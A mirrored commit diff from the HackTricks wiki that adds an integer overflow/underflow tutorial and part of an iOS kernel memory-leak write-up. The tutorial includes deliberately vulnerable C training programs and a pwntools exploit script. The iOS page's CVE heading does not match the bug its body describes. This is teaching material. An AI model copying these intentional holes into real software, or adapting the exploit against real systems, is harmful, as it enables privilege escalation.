mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into update_HTB__Media___WMP_NTLM_leak___NTFS_junction_to_webr_20250905_012055
This commit is contained in:
commit
09e9f0cf28
1
searchindex.js
Normal file
1
searchindex.js
Normal file
File diff suppressed because one or more lines are too long
@ -447,6 +447,7 @@
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
|
||||
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
|
||||
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
|
||||
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
|
||||
@ -493,6 +494,7 @@
|
||||
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
|
||||
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
@ -766,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -785,7 +787,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
@ -836,7 +838,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
@ -929,4 +931,3 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
@ -27,11 +27,11 @@ With so many techniques it's good to have a scheme when each technique will be u
|
||||
There are different was you could end controlling the flow of a program:
|
||||
|
||||
- [**Stack Overflows**](../stack-overflow/index.html) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
|
||||
- Or via **Arbitrary Writes + Write What Where to Execution**
|
||||
- [**Format strings**](../format-strings/index.html)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
|
||||
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
|
||||
|
||||
You can find the **Write What Where to Execution** techniques in:
|
||||
|
389
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
389
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,389 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
|
||||
Max values for common integer types:
|
||||
| Type | Size (bits) | Min Value | Max Value |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### macOS Overflow Example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
|
||||
#### Exploit
|
||||
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
### macOS Underflow Example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
|
||||
### Other Examples
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -1,126 +0,0 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### Other Examples
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -0,0 +1,345 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## The Bug
|
||||
|
||||
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary:
|
||||
|
||||
Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.
|
||||
|
||||
These are the trailer relevant structs:
|
||||
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
} mach_msg_trailer_t;
|
||||
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
mach_port_seqno_t msgh_seqno;
|
||||
security_token_t msgh_sender;
|
||||
audit_token_t msgh_audit;
|
||||
mach_port_context_t msgh_context;
|
||||
int msgh_ad;
|
||||
msg_labels_t msgh_labels;
|
||||
} mach_msg_mac_trailer_t;
|
||||
|
||||
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
|
||||
Then, when the trailer object is generated, only some fields are initialized, an the max trailer size is always reserved:
|
||||
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
trailer->msgh_audit = current_thread()->task->audit_token;
|
||||
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
|
||||
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
|
||||
Then, for example, when trying to read a a mach message using `mach_msg()` the function `ipc_kmsg_add_trailer()` is called to append the trailer to the message. Inside this function the tailer size is calculated and some other trailer fields are filled:
|
||||
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
}
|
||||
|
||||
trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
|
||||
The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.**
|
||||
|
||||
To pass this check we need to send a valid supported `option`:
|
||||
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
#define MACH_RCV_TRAILER_SENDER 2
|
||||
#define MACH_RCV_TRAILER_AUDIT 3
|
||||
#define MACH_RCV_TRAILER_CTX 4
|
||||
#define MACH_RCV_TRAILER_AV 7
|
||||
#define MACH_RCV_TRAILER_LABELS 8
|
||||
|
||||
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
|
||||
But, becasaue the `MACH_RCV_TRAILER_MASK` is juts checking bits, we can pass any value between `0` and `8` to not enter inside the `if` statement.
|
||||
|
||||
Then, continuing with the code you can find:
|
||||
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* The ipc_kmsg_t holds a reference to the label of a label
|
||||
* handle, not the port. We must get a reference to the port
|
||||
* and a send right to copyout to the receiver.
|
||||
*/
|
||||
|
||||
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
|
||||
trailer->msgh_labels.sender = 0;
|
||||
}
|
||||
|
||||
done:
|
||||
#ifdef __arm64__
|
||||
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
#endif /* __arm64__ */
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
|
||||
